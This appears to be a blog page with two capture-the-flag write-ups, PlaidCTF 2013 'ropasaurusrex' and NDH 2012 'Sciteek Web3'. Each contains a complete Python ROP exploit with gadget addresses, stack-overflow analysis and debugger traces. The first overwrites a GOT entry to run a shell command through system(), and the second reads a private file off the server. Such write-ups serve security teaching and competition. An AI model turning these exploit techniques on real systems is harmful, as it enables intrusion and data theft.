code hacking, zen coding


PlaidCTF 2013 – Pwnable 200 – ropasaurusrex Write-up

Posted by aXs

$ file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped

$ eu-readelf -l ropasaurusrex
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x0000e0 0x0000e0 R E 0x4
INTERP 0x000114 0x08048114 0x08048114 0x000013 0x000013 R 0x1
[Requesting program interpreter: /lib/]
LOAD 0x000000 0x08048000 0x08048000 0x00051c 0x00051c R E 0x1000
LOAD 0x00051c 0x0804951c 0x0804951c 0x00010c 0x000114 RW 0x1000
DYNAMIC 0x000530 0x08049530 0x08049530 0x0000d0 0x0000d0 RW 0x4
NOTE 0x000128 0x08048128 0x08048128 0x000044 0x000044 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RW 0x4

Section to Segment mapping:
Segment Sections...
01 [RO: .interp]
02 [RO: .interp .note.ABI-tag .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame]
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 [RO: .note.ABI-tag]

$ nc localhost 1025

This binary has a non-executable stack (NX-enabled) but has not been compiled with RELRO (read-only GOT)

Crashing it is fairly easy:

$ nc localhost 1025

Program received signal SIGSEGV, Segmentation fault.
EAX: 0x00000100 EBX: 0xB77B0FF4 ECX: 0xBFF063D0 EDX: 0x00000100 o d I t s z A P C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x65413565 ESP: 0xBFF06460 EIP: 0x37654136
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0x37654136
0x37654136 in ?? ()

$ /opt/metasploit-4.4.0/msf3/tools/pattern_offset.rb 0x37654136

It's crashing because of a stack overflow, buf is not big enough for the amount of data permitted to be read:

.text:080483F4 read_buffer     proc near               ; CODE XREF: handler+9p
.text:080483F4 buf             = byte ptr -88h
.text:080483F4                 push    ebp
.text:080483F5                 mov     ebp, esp
.text:080483F7                 sub     esp, 98h
.text:080483FD                 mov     dword ptr [esp+8], 100h ; nbytes
.text:08048405                 lea     eax, [ebp+buf]
.text:0804840B                 mov     [esp+4], eax    ; buf
.text:0804840F                 mov     dword ptr [esp], 0 ; fd
.text:08048416                 call    _read
.text:0804841B                 leave
.text:0804841C                 retn
.text:0804841C read_buffer     endp

The libc binary was given away by the ctf organizers and the GOT is writable (no RELRO) so we will go for a GOT overwrite and spawn a shell with system(). We will overwrite the GOT entry for write().

As the stack is non-executable (NX) we need to ROP our way to system()

What we need to do in our ROP chain:
- Leak the current GOT entry for write()
- Receive computed offset for system() using read()
- Receive command-line for system()
- Trigger write() (now system) with our command-line

We will use this gadget to clean up the stack between ROP step:

.text:080484B5                 pop     ebx
.text:080484B6                 pop     esi
.text:080484B7                 pop     edi
.text:080484B8                 pop     ebp
.text:080484B9                 retn

The exploit:

import telnetlib
import time
import sys
from struct import pack, unpack

ip = ''
port = 1025

COMMANDLINE = "cat /home/ropasaurusrex/key\n"

tn = telnetlib.Telnet(ip, port)

buffer  = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A'
buffer += pack('<I', 0x08049620) # leave will use this value for ebp

# write write.plt
buffer += pack('<I', 0x0804830C) # _write
buffer += pack('<I', 0x80484B6)  # ret: clean stack

# write params
buffer += pack('<I', 1)          # fd
buffer += pack('<I', 0x08049614) # write.plt got
buffer += pack('<I', 4)          # size

# send system.plt
buffer += pack('<I', 0x804832C)  # _read
buffer += pack('<I', 0x80484B6)  # ret: clean stack

# read params
buffer += pack('<I', 0)          # fd
buffer += pack('<I', 0x08049614) # write.plt got
buffer += pack('<I', 4)          # size

# read command-line
buffer += pack('<I', 0x804832C)  # _read
buffer += pack('<I', 0x80484B6)  # clean stack

# read params
buffer += pack('<I', 0)          # fd
buffer += pack('<I', 0x8049620)  # data go in bss
buffer += pack('<I', len(COMMANDLINE))

# trigger system()
buffer += pack('<I', 0x0804830C) # write.plt
buffer += 'ABCD'                 # ret: crash, we are done

# address of command-line in bss
buffer += pack('<I', 0x8049620)  # data

s = tn.get_socket()

# receive write.plt address
got = s.recv(4)
write_plt = unpack('<I',got[0:4])[0]
print "write plt=", hex(write_plt)
write_libc = 0xbf190
libc_base = write_plt - write_libc
print "libc base=", hex(libc_base)
system_plt = write_plt - (0xbf190 - 0x39450)
print "system plt=", hex(system_plt)


# send system address
s.send(pack('<I', system_plt))


# send our command-line

# get the key
print s.recv(65535)


write plt= 0xb77990d0L
libc base= 0xb76d9f40L
system plt= 0xb77151b0L

For those not familiar lets detail a bit how this works. We put a breakpoint on the ret of the vulnerable function:

EAX: 0x000000E0 EBX: 0xB7735FF4 ECX: 0xBFFAACB0 EDX: 0x00000100 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x08049620 ESP: 0xBFFAAD3C EIP: 0x0804841C
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
=> 0x804841c: ret
0x804841d: push ebp
0x804841e: mov ebp,esp
0x8048420: and esp,0xfffffff0
0x8048423: sub esp,0x10
0x8048426: call 0x80483f4
0x804842b: mov DWORD PTR [esp+0x8],0x4
0x8048433: mov DWORD PTR [esp+0x4],0x8048510

Breakpoint 1, 0x0804841c in ?? ()

At this point, the stack is filled with our values (the ROP chain) because of the overflow:

gdb$ x/4x $esp
0xbffaad3c: 0x0804830c 0x080484b6 0x00000001 0x08049614

We advance one step:

gdb$ stepi
EAX: 0x000000E0 EBX: 0xB7735FF4 ECX: 0xBFFAACB0 EDX: 0x00000100 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x08049620 ESP: 0xBFFAAD40 EIP: 0x0804830C
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
=> 0x804830c : jmp DWORD PTR ds:0x8049614
0x8048312 : push 0x8
0x8048317 : jmp 0x80482ec
0x804831c <__libc_start_main@plt>: jmp DWORD PTR ds:0x8049618
0x8048322 <__libc_start_main@plt+6>: push 0x10
0x8048327 <__libc_start_main@plt+11>: jmp 0x80482ec
0x804832c : jmp DWORD PTR ds:0x804961c
0x8048332 : push 0x18
0x0804830c in write@plt ()

First value on the stack was used as the EIP value for ret (0x804830c), please notice we use directly write@plt so we can stack several calls, using the address of "call write" would mess up our crafted stack.

On the stack we have [RET][FD][BUFFER][SIZE]

gdb$ x/4x $esp
0xbffaad40: 0x080484b6 0x00000001 0x08049614 0x00000004

so this would do:

write(1, 0x08049614, 4);

and then jump to 0x080484b6, our gadget for cleaning the stack:

EAX: 0x00000004 EBX: 0xB7735FF4 ECX: 0x08049614 EDX: 0x00000004 o d I t s z a P C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x08049620 ESP: 0xBFFAAD44 EIP: 0x080484B5
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
=> 0x80484b6: pop esi
0x80484b7: pop edi
0x80484b8: pop ebp
0x80484b9: ret
0x80484ba: mov ebx,DWORD PTR [esp]
0x80484bd: ret
0x80484be: nop

Breakpoint 2, 0x080484b6 in ?? ()

This will remove 3 values from the stack (the values used for our write() call) and then jump to an address we control. This way we have emptied the stack and we are ready for the next call.

And so on for all the steps in the ROP chain.

Tagged as: , Comments Off

NDH 2012 Prequals – Sciteek 4005 Web3 Write-up

Posted by aXs

This challenge runs under the NDH VM written specially for this CTF by Jonathan Salwan.

We are told to exploit a web server running at to get a file named sciteek-private.txt.

We get a copy of the web server software in the file Web3.ndh which is running in the NDH VM.

$ nc 4005
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70

Exploit Me if you can 😉

We try to overflow it:

$ nc localhost 4005
GET Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar

We are immediately disconnected. We need to dig in disassembly to understand why.

0x81e8 > syscall (r0 = 0x0003 - read)
[SYSCALL output]: 513
0x81e9 > ret
0x84d8 > mov r0, r1
0x84dc > addl r8, #0x200
0x84e1 > pop r1
0x84e3 > cmpl r1, #0xbeef
0x84e8 > jz 0x01
0x84eb > end

This program uses a hard-coded stack cookie with a value of 0xbeef. If we overflows the buffer (max size 0x200), we will overwrite the cookie and the protection will get triggered.

So we need to send the value of the cookie in your exploit payload:

$ python -c 'print "A"*512+"\xEF\xBEAB"' | nc localhost 4005
[!] Segfault 0x4241 (opcode unknown)

We control the PC register.

Now we need to get the address of our buffer. We add a breakpoint just after the read() syscall.

0x81e4: movb r0, #0x03
0x81e8: syscall

[Console]#> bp 0x81e8
Breakpoint set in 0x81e8
0x81e4 > movb r0, #3
[BreakPoint 1 - 0x81e8]
0x81e8 > syscall (r0 = 0x0003 - read)
[SYSCALL output]: 6
[Console]#> show sp
7bf2: d8 84 47 45 54 20 2f 0a 00 00 <- GET /

The beginning of our buffer is at 0x7bf4.

$ python -c 'print "A"*512+"\xEF\xBE\xf4\x7b"' | nc localhost 4005
[!] Segfault 0x7bf4 (NX bit)

Unfortunately NX bit is enabled in this challenge. Against NX protection we need to use ROP.

There is many nice gadgets in the binary. What we need to find is:

- read filename from stdin
- open file with filename in memory
- read file content to memory
- write memory to stdout

generic registers setter

0x8225: pop r5
0x8227: pop r4
0x8229: pop r3
0x822b: pop r2
0x822d: pop r1
0x822f: ret

syscall open()

int open(const char *pathname, int flags, mode_t mode);

* [sys_open] r1 = uint16_t *
* r2 = uint16_t
* r3 = uint16_t

0x81d2: movb r0, #0x02
0x81d6: syscall

syscall read()

ssize_t read(int fd, void *buf, size_t count);

* [sys_read] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t

0x81e0: mov r1, r0
0x81e4: movb r0, #0x03
0x81e8: syscall

syscall write()

ssize_t write(int fd, const void *buf, size_t count);

* [sys_write] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t

0x8193: movb r0, #0x04
0x8197: syscall

We can then construct this ROP chain exploit:

#!/usr/bin/env python

import socket
import sys
from struct import pack

if len(sys.argv) != 3:
  print '\nUsage:\t./ [host] [port]'

host = sys.argv[1]
port = int(sys.argv[2])

payload = 'sciteek-private.txt\x00\n'

payload += 'A' * (512 - len(payload))

payload += pack("<H", 0xbeef) # stack cookie

payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x0000) # r3 = O_RDONLY
payload += pack("<H", 0x0000) # r2
payload += pack("<H", 0x7bf4) # start of our buffer

payload += pack("<H", 0x81d2) # open, FD will go in r0

payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x1000) # r3 = count
payload += pack("<H", 0x6000) # r2 = buffer
payload += pack("<H", 0x0000) # dummy

payload += pack("<H", 0x81e0) # mov r1, r0 / read(), r0 contains the count of bytes read

payload += pack("<H", 0x822d) # pop r1 / ret
payload += pack("<H", 0x6000) # r1 = buffer

payload += pack("<H", 0x8187) # mov r3, r0 / mov r2, r1 / movb r1, #0x01 / write()

payload += '\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send('%s' %payload);

while 1:
    line = s.recv(65536)
    if not line:
    print 'Received', repr(line)



$ python 4005
Received 'Dear Patrick,\n \nWe found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.\n \nHowever, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business\n, but one of them contains an archive with an explicit name.\n \nWe cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.\n \nSincerely,\n \nDavid Markham.\n'
Received '\x1b[91m[!] Segfault 0x0000 (NX bit)\x1b[0m\n'

Tagged as: , , , Comments Off